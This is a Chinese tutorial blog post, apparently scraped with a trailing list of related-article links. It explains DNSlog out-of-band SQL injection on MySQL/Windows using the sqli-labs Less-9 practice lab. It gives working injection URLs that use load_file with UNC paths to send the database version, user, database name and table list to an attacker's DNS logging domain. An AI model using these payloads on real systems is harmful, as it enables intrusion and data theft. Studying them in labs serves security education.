sql盲注分为基于bool的盲注和基于时间的盲注,大家都知道,盲注是在页面没有显示位并且没有报错信息的时候,通过构造payload使页面返回的内容不同或者是页面响应的时间不同从而去判断出数据库中的数据,不管是bool盲注还是时间盲注,在进行判断的时候都需要一个字符一个字符的去判断,虽然二分法可以加快盲注的速度,但是还有一种更好的办法,那就是使用dnslog,具体过程如下图

由上图可以看出要进行dnslog注入需要几个条件:

1.web服务器操作系统必须为windows,因为UNC这个东西是windows特有的,关于UNC的解析如下

UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。格式:\servernamesharename,其中servername是服务器名。sharename是共享资源的名称。目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:\servernamesharenamedirectoryfilename

2.以mysql为例,数据库的load_file函数必须可用,也就是数据库用户必须要有file_priv权限

其次就是mysql的secure_file_priv不为NULL,有些高版本的mysql中的secure_file_priv默认为NULL

secure_file_priv特性secure_file_priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出。

当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下。

当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制。

配置方法,在mysql配置文件中[mysqld]里追加一条secure_file_priv =

符合了上述的两个条件就可以使用dnslog去进行注入了,首先需要有一台自己的DNS服务器,该DNS服务器的作用是用来接收DNS查询日志,从日志中获取dnslog注入的结果,这里推荐使用知道创宇的CEYE平台,注册完成后会分配给用户一个该平台的二级域名,这个二级域名可以作为我们的DNS服务器

以sqli-labs第九关为例,该关卡是一个时间盲注

传统的时间盲注对网速有着一定的要求,还有就是需要一个一个字符的去判断并且会有一定的延时,效率比较低,这里使用dnslog注入来试一下

读取数据库版本信息,payload:http://192.168.242.128/sqli-labs/Less-9/index.php?id=1' union select load_file(concat('\\',version(),'.meomna.ceye.io\abc')),2,3%23

可以在CEYE平台中的DNS Query中看到数据库版本信息

注意在读取当前用户时,由于[email protected],@符号前面的内容会被当成login:password的格式,所以在查询时要使用hex函数进行16进制编码,否则会查询不到,payload:http://192.168.242.128/sqli-labs/Less-9/index.php?id=1' union select load_file(concat('\\',(select hex(user())),'.meomna.ceye.io\abc')),2,3%23

之后进行16进行解码便能得到内容

读取当前的数据库http://192.168.242.128/sqli-labs/Less-9/index.php?id=1' union select load_file(concat('\\',database(),'.meomna.ceye.io\abc')),2,3%23

读取当前数据库下的所有表,group_concat返回的查询结果中有,,所以要使用hex函数进行16进制编码,否则会查询不到http://192.168.242.128/sqli-labs/Less-9/index.php?id=1' union select load_file(concat('\\',(select hex(group_concat(table_name)) from information_schema.tables where table_schema=database()),'.meomna.ceye.io\abc')),2,3%23

之后将得到的内容进行16进制解码就能获取到数据库内容了

mysql dnslog_渗透技巧:使用dnslog加快盲注速度 · C1imber’s Blog相关推荐

  1. mysql dnslog_dnslog小技巧

    一.dnslog利用场景 主要针对无回显的情况. Sql-Blind RCE SSRF RFI(Remote File Inclusion) 二.原理 将dnslog平台中的特有字段payload带入 ...

  2. 注入学习(3) Mysql+php注入 基于bool和时间的盲注

    练习三:Mysql+php 基于bool和时间的盲注 今天要用的函数(详细的直接看链接): left()函数:left()得到字符串左部指定个数的字符 left( string, n ) #strin ...

  3. Wireshark分析sql布尔盲注流量包

    目录 0x001 题目 0x002 查看注入语句 0x003 观察响应包 0x004 脚本编写 0x001 题目 0x002 查看注入语句 将流量包导入Wireshark 看着很乱,输入url通过浏览 ...

  4. Mysql 另类盲注中的一些技巧

    一.order by 的参数注入技巧: 两种方法,思路都一样. example. "select username,password from uc_members order by&quo ...

  5. mysql dba盲注_SQL注入学习-Dnslog盲注

    1.基础知识 1.DNS DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的 ...

  6. mysql盲注绕过_盲注 绕过技巧

    http://www.x.com/sections_intr.php?id=181 and length((database()))=4 http://www.x.com/sections_intr. ...

  7. SQL注入进阶:掌握布尔盲注和延时注入攻击技巧

    数据来源 一.什么是盲注? 盲注是指一种利用应用程序漏洞进行的攻击技术,攻击者通过在输入参数中注入恶意代码或数据来探测.提取和修改应用程序的敏感数据.它通常用于测试 Web 应用程序的安全性,并且可能 ...

  8. dnslog盲注原理

    Dnslog盲注原理 布尔盲注和时间盲注相当于猜单词的游戏,我们需要对每一位逐步的猜测,效率很低,需要发送很多的请求进行判断,很可能会触发安全设备的防护 我们需要一种方式能够减少请求,直接回显数据-- ...

  9. json里面的list数据取不出来_sql盲注的困局:利用DNSlog快速导出数据

    对于一个sql注入点来说最幸运的就是支持堆叠注入,最蛋疼的就是盲注,盲注里面难搞的就是基于时间的盲注. 我们在本地利用这段代码进行演示 <?php error_reporting(0); $li ...

最新文章

  1. 英伟达发布“空气CPU”,Arm架构专为AI而生,性能超x86十倍,与自家GPU更搭
  2. 实现PHP基本安全的11条准则
  3. 设置Tomcat字符集为utf-8
  4. IntelliJ IDEA for Mac中的Maven操作窗口详解
  5. c++ qt获取电脑的内存_Qt官方示例信号量
  6. Mr.J--JS学习(闭包及IIFE)
  7. 嵌入式操作系统内核原理和开发(头文件调整)
  8. Digital Radiography厂家
  9. 这8个坏习惯加重体内湿气,一定要改掉!否则……
  10. 微信公众号下发红包 -- PHP
  11. python tensorflow 文本提取_用RNN构建文本生成器(TensorFlow Eager+ tf.keras)
  12. 如何在2022年建立自己的NFT市场平台
  13. 两个软硬程度一样的鸡蛋,它们在某一层摔下会碎,有个100层的建筑,要求最多用两个鸡蛋确 定鸡蛋安全下落的临界位置,给出临界位置?如果是n层楼,m个鸡蛋,请给出确定临界位置的算法
  14. vue 页面卡顿(数据量大)
  15. 学习笔记10--CAN总线技术
  16. PHP抓取某页面指定内容
  17. Win11怎么连接上校园网?
  18. 基于微信小程序的springboot客运汽车票购票系统源码和论文
  19. Hexo博客设置文章加密
  20. CK-GW06-E03与欧姆龙PLC配置指南

热门文章

  1. Python3 异常: name ‘basestring‘ is not defined
  2. 解决gitlab关闭登录选项问题
  3. mysql 每组取一条_MySql分组后随机获取每组一条数据的操作
  4. python 运维包_python运维常用模块
  5. 外贸网站建设如何打造优质外贸网站?
  6. 多任务学习(MTL)在转化率预估上的应用
  7. 例解 autoconf 和 automake 生成 Makefile 文件[转+个人修改]
  8. Android中TableLayout如何让列自动换行
  9. Go36-3-代码包
  10. mysql 创建表单